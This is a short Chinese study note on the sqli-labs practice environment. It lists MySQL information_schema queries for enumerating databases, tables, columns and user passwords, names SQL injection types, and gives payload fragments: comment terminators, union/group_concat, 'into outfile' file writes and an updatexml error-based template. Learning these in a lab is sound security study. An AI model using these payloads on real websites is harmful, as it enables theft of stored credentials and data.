sqli-lab学习经验
学习sqli注入必备语句:
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema=‘security’(此处拿security库为例)
查字段:select column_name from information_schema.columns where table_name=‘users’(此处拿users表例)
查字段的值:select username,password from security.users(此处拿username,password字段为例)
注入类型:
字符注入,整型注入,报错注入,布尔盲注,时间注入,宽字节注入,堆叠注入
bin>mysql -u root -p
–+
–空格
特殊注释符:;%00
order by
联合查询语句:
union_select
group_concat
concat_ws(’~’,A,B)
显示为:(A,B)
left从左侧截取,正确返回1,错误侧返回0
写入文件:
into outfile
length(database()=X)
格式:updatexml(1,concat(0x7e,(构造语句),0x7e),1)